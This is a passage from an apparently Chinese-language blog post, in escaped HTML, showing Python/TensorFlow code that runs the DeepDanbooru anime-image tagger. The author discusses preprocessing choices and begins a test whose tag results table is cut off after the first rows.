style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.h5&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; tf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;keras&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;models&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;load_model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;model_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; compile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; tags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; prepare_image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;image_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; input_shape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; tf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;decode_image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        tf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;read_file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;image_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; channels&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; expand_animations&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;False&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; tf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;resize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        input_shape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        method&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;ResizeMethod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;AREA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        preserve_aspect_ratio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;numpy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pad_width&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        diff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; input_shape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;shape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        half&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; diff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        pad_width&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;((&lt;&#x2F;span&gt;&lt;span&gt;half&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; diff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; half&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pad_width&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; np&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;pad&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; pad_width&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;edge&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; &#x2F;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 255&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;reshape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;shape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; image&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; evaluate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; threshold&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0.5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    prediction&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;predict&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    res&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        (&lt;&#x2F;span&gt;&lt;span&gt;tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; reliability&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        for&lt;&#x2F;span&gt;&lt;span&gt; tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; reliability&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; zip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; prediction&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; reliability&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; threshold&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; sorted&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;lambda&lt;&#x2F;span&gt;&lt;span&gt; xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;__main__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; load_model_tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; prepare_image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;image.jpg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;input_shape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; reliability&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; evaluate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;reliability&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:.0%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;}\t{&lt;&#x2F;span&gt;&lt;span&gt;tag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;写这段代码时最让我纠结的地方是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;prepare_image&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里缩放和填充那一段。原代码是使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tf.image.resize&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在保持比例的情况下把最长维度缩小到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;512&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;像素，然后用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;skimage.transform.warp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把图像居中并把短边用边界值补齐到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;512&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;像素。我不太想额外依赖&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;scikit-image，但本着输入图片处理方法应该无限接近训练图片的原则，使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;NumPy&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;进行了土法居中和补齐（TensorFlow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;依赖&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;NumPy&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;deepdanbooru-onnx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那个库里是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chinoll&#x2F;deepdanbooru_onnx&#x2F;blob&#x2F;fe3777cb0e3b76d68f626991ac5d3d856213a33f&#x2F;deepdanbooru_onnx&#x2F;deepdanbooru_onnx.py#L20&quot;&gt;直接用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pillow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把图片拉伸到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;512×512&lt;&#x2F;a&gt;，而不是用边界值补齐。其实大差不差——有人画出来就是瘦，有人画出来就是胖。但我还是想要“尊重原著&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;——无他，只因为我不懂机器学习，害怕用错了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;测试&quot;&gt;测试&lt;&#x2F;h2&gt;
&lt;p&gt;由于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;DeepDanbooru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是专为二次元图片训练的，所以很遗憾不能&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;perspective_transform&#x2F;&quot;&gt;用莱娜图做演示&lt;&#x2F;a&gt;。万幸的是，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;archive.ph&#x2F;vx6wn&quot;&gt;推特上有画师分享了特征明显并且可以再分发的二次元人像&lt;&#x2F;a&gt;。让我们用她看看这&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;DeepDanbooru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;准不准：&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;FbXpSyJUYAAnIdy-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;FbXpSyJUYAAnIdy-optim.jpg&quot;
	alt=&quot;测试图片&quot;
	height=&quot;1024&quot;
	width=&quot;563&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;标签&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;可靠性&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;rating:safe&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;1.000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;1girl&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;0.998&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
